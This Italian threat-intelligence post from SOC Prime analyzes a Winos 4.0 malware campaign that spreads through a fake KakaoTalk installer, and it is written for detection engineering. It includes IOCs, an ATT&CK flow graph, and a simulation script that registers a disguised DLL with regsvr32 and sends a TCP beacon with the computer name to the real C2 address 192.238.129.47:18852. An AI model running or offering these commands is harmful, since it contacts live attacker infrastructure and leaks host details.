SOC Prime Bias: Medio

24 Mar 2026 16:03

Malware Winos 4.0 che si maschera da programma di installazione di KakaoTalk

Author Photo
Ruslan Mikhalov Capo della Ricerca sulle Minacce presso SOC Prime linkedin icon Segui
Malware Winos 4.0 che si maschera da programma di installazione di KakaoTalk
shield icon

Detection stack

  • AIDR
  • Alert
  • ETL
  • Query

Sintesi

Gli attaccanti hanno abusato del SEO poisoning per spingere un falso installer di KakaoTalk in cima ai risultati di ricerca. L’installer conteneva un certificato di firma del codice non valido e incorporava un pacchetto NSIS che scartava file dannosi tra cui Verifier.exe e AutoRecoverDat.dll. Una volta eseguito, il malware raggiungeva la persistenza attraverso la registrazione DLL, attività pianificate e un mutex, quindi si collegava a due server C2 separati. Le sue capacità includevano la cattura dello schermo, la profilazione del sistema e l’esecuzione in memoria di payload aggiuntivi.

Indagine

Il Centro di Intelligence sulla Sicurezza di AhnLab ha riportato più di 5.000 PC compromessi dopo l’inizio della campagna il 9 marzo. Le analisi hanno mostrato che i payload NSIS criptati decrittavano e lasciavano cadere Verifier.exe e AutoRecoverDat.dll, creavano un mutex e caricavano shellcode dai file GPUCache.xml. A seconda del ramo dello shellcode, il malware contattava l’infrastruttura C2 a 192.238.129.47 o 119.28.70.225. La persistenza veniva mantenuta tramite la registrazione DLL e attività pianificate che lanciavano o Verifier.exe o rundll32 con la DLL dannosa.

Mitigazione

Le organizzazioni dovrebbero bloccare i domini malevoli e gli URL di download associati alla campagna. Applicare una rigorosa validazione della firma del codice e prevenire l’esecuzione di binari con certificati non validi. Si dovrebbe usare l’allowlisting delle applicazioni per bloccare l’esecuzione di installer NSIS sconosciuti. I team di sicurezza dovrebbero anche monitorare lo specifico mutex, attività pianificate sospette e cambiamenti nel registro evidenziati nel rapporto.

Risposta

I team di rilevamento dovrebbero allertare sulla creazione del mutex 77825d8f-46d1-42d0-b298-83068bf9e31d e sulle attività pianificate sotto MicrosoftWindowsAppID. Cacciare Verifier.exe e AutoRecoverDat.dll all’interno delle directory dei profili utente e bloccare il traffico in uscita verso gli IP e le porte C2 noti. Eseguire un’analisi forense dei sistemi colpiti e rimuovere completamente tutti i manufatti di persistenza e i componenti dannosi.

"graph TB %% Class definitions classDef technique fill:#99ccff classDef tool fill:#ffcc99 classDef malware fill:#ff9999 classDef process fill:#cccccc classDef operator fill:#ff9900 %% Nodes – Techniques and Artifacts tech_initial_access["<b>Technique</b> – T1593.002 Search Engine Poisoning<br/><b>Description</b>: Manipolare il SEO per posizionare siti dannosi nei risultati di ricerca."] class tech_initial_access technique tech_user_exec["<b>Technique</b> – T1204 User Execution<br/><b>Description</b>: La vittima esegue un installer dannoso credendolo legittimo."] class tech_user_exec technique tech_obfuscation["<b>Technique</b> – T1027 Obfuscated Files or Information<br/><b>Description</b>: Payload codificati nell’installer NSIS e decodificati al runtime."] class tech_obfuscation technique tech_powershell["<b>Technique</b> – T1059.001 PowerShell<br/><b>Description</b>: Esegue comandi PowerShell tramite cmd per modificare le impostazioni di Defender."] class tech_powershell technique tech_exclusions["<b>Technique</b> – T1564.012 Esclusioni di File/Percorso<br/><b>Description</b>: Aggiunge voci di esclusione per C:, D:, E:, F: in Windows Defender."] class tech_exclusions technique tech_rundll32["<b>Technique</b> – T1218.011 Esecuzione Proxy Rundll32<br/><b>Description</b>: Usa rundll32.exe per caricare AutoRecoverDat.dll dannosa."] class tech_rundll32 technique tech_appcert["<b>Technique</b> – T1546.009 DLL AppCert<br/><b>Description</b>: Registra DLL per l’esecuzione quando AppCert viene caricato, abilitando la persistenza e l’elevazione dei privilegi."] class tech_appcert technique tech_schtask["<b>Technique</b> – T1053 Attività Pianificata/Job<br/><b>Description</b>: Crea attività per lanciare Verifier.exe e rundll32 all’avvio del sistema."] class tech_schtask technique tech_c2_nonstd["<b>Technique</b> – T1571 Porta Non Standard<br/><b>Description</b>: Comunica con i server C2 sulle porte 18852 e 443."] class tech_c2_nonstd technique tech_port_knocking["<b>Technique</b> – T1205.001 Port Knocking<br/><b>Description</b>: Usa il port knocking per nascondere il traffico C2."] class tech_port_knocking technique tech_dynamic_res["<b>Technique</b> – T1568 Risoluzione Dinamica<br/><b>Description</b>: Risolve gli indirizzi C2 al runtime, si adatta alla presenza di prodotti AV cinesi."] class tech_dynamic_res technique tech_indicator_removal["<b>Technique</b> – T1027.005 Rimozione Indicatori dagli Strumenti<br/><b>Description</b>: Verifica la presenza di specifici prodotti AV e modifica la persistenza di conseguenza."] class tech_indicator_removal technique tech_software_disc["<b>Technique</b> – T1518.001 Scoperta del Software<br/><b>Description</b>: Raccoglie l’elenco del software installato per la ricognizione."] class tech_software_disc technique tech_path_intercept["<b>Technique</b> – T1574.009 Intercettazione del Percorso per Percorso non Citato<br/><b>Description</b>: Sfrutta percorsi di servizio non citati per caricare una DLL dannosa."] class tech_path_intercept technique %% Nodes – Files / Payloads file_installer["<b>File</b>: Installer NSIS dannoso (KakaoTalk_Setup_patched.RAR)"] class file_installer malware file_verifier["<b>File</b>: Verifier.exe"] class file_verifier malware file_dll["<b>File</b>: AutoRecoverDat.dll"] class file_dll malware %% Nodes – Commands / Processes proc_powershell["<b>Process</b>: powershell.exe (aggiunge esclusioni in Defender)"] class proc_powershell process proc_rundll32["<b>Process</b>: rundll32.exe (carica AutoRecoverDat.dll)"] class proc_rundll32 process proc_schtask["<b>Process</b>: schtasks.exe (crea attività pianificate)"] class proc_schtask process %% Connections u2013 Attack Flow tech_initial_access –>|leads_to| tech_user_exec tech_user_exec –>|executes| file_installer file_installer –>|contains| tech_obfuscation tech_obfuscation –>|decrypts| file_verifier tech_obfuscation –>|decrypts| file_dll file_installer –>|calls| tech_powershell tech_powershell –>|executes| proc_powershell proc_powershell –>|adds| tech_exclusions file_installer –>|uses| tech_rundll32 tech_rundll32 –>|launches| proc_rundll32 proc_rundll32 –>|loads| file_dll tech_appcert –>|registers| file_dll tech_appcert –>|enables| tech_schtask tech_schtask –>|creates| proc_schtask proc_schtask –>|schedules| file_verifier proc_schtask –>|schedules| proc_rundll32 tech_appcert –>|provides| tech_path_intercept tech_path_intercept –>|facilitates| tech_appcert tech_c2_nonstd –>|used_by| file_verifier tech_c2_nonstd –>|used_by| file_dll file_verifier –>|communicates via| tech_port_knocking file_dll –>|communicates via| tech_port_knocking tech_port_knocking –>|relies_on| tech_dynamic_res tech_dynamic_res –>|detects| tech_indicator_removal tech_indicator_removal –>|modifies| tech_appcert file_installer –>|collects| tech_software_disc "

Flusso di attacco

Esecuzione della Simulazione

Prerequisito: Il Controllo Preventivo di Telemetria & Baseline deve essere superato.

Ragionamento: Questa sezione descrive l’esecuzione precisa della tecnica dell’avversario (TTP) progettata per attivare la regola di rilevamento. I comandi e la narrazione devono riflettere direttamente i TTP identificati e mirare a generare la telemetria esatta prevista dalla logica di rilevamento.

  • Narrazione & Comandi dell’Attacco:

    L’avversario ha già posizionato DLL dannose all’interno della %LOCALAPPDATA%MicrosoftWindowsGPUCache directory, mascherandosi come file cache legittimi. Per eseguire il payload, l’attore della minaccia sfrutta Regsvr32 (T1218.012) per caricare la DLL, usa poi il componente caricato per avviare comunicazioni C2 sulla porta TCP 18852 (o sulla porta HTTPS 443) al server hard‑coded 192.238.129.47. Questo flusso di rete è l’indicatore visibile che la regola Sigma osserva.

    1. Caricare DLL dannosa tramite Regsvr32
      regsvr32 /s "$env:LOCALAPPDATAMicrosoftWindowsGPUCacheGPUCache.xml"
    2. Iniziare il segnale C2 (la DLL dannosa apre un socket TCP verso il server C2). Per i test, emuliamo il segnale con un semplice client TCP PowerShell che si connette allo stesso IP/porta.
      $c2 = New-Object System.Net.Sockets.TcpClient('192.238.129.47',18852)
      $stream = $c2.GetStream()
      $payload = [System.Text.Encoding]::ASCII.GetBytes("Beacon from $env:COMPUTERNAME")
      $stream.Write($payload,0,$payload.Length)
      $stream.Close()
      $c2.Close()
  • Script di Test di Regressione: Il seguente script riproduce i passaggi sopra descritti end-to-end e genererà la telemetria di rete esatta che la regola Sigma si aspetta.

    # -------------------------------------------------
    # Simulazione C2 Winos4.0 – attiva la regola Sigma
    # -------------------------------------------------
    # 1. Caricare la DLL malevola (simulata) attraverso Regsvr32
    $dllPath = "$env:LOCALAPPDATAMicrosoftWindowsGPUCacheGPUCache.xml"
    if (Test-Path $dllPath) {
        Write-Host "[*] Registrazione DLL malevola via Regsvr32..."
        regsvr32 /s $dllPath
    } else {
        Write-Error "[-] DLL simulata non trovata in $dllPath – annullamento."
        exit 1
    }
    
    # 2. Emulare il segnale C2 al IP/porta codificati
    $c2IP   = '192.238.129.47'
    $c2Port = 18852
    
    Write-Host "[*] Stabilire connessione TCP verso $c2IP:$c2Port ..."
    try {
        $client = New-Object System.Net.Sockets.TcpClient($c2IP,$c2Port)
        $stream = $client.GetStream()
        $msg    = "Segnale da $env:COMPUTERNAME a $(Get-Date -Format o)"
        $bytes  = [System.Text.Encoding]::ASCII.GetBytes($msg)
        $stream.Write($bytes,0,$bytes.Length)
        Write-Host "[+] Segnale inviato."
    } catch {
        Write-Error "[-] Connessione fallita: $_"
    } finally {
        if ($stream) { $stream.Close() }
        if ($client) { $client.Close() }
    }
    # -------------------------------------------------
  • Comandi di Pulizia: Rimuovere eventuali artefatti temporanei e chiudere connessioni residue.

    # Rimuovere la DLL malevola simulata (se era un artefatto di test)
    $dllPath = "$env:LOCALAPPDATAMicrosoftWindowsGPUCacheGPUCache.xml"
    if (Test-Path $dllPath) {
        Remove-Item -Path $dllPath -Force
        Write-Host "[*] Ripulita la DLL simulata."
    }
    
    # Garantire che non rimangano ascoltatori TCP orfani (improbabile per solo lato client)
    Get-NetTCPConnection -RemoteAddress 192.238.129.47 -RemotePort 18852 | ForEach-Object {
        # Nessuna azione necessaria; le connessioni sono chiuse nello script.
    }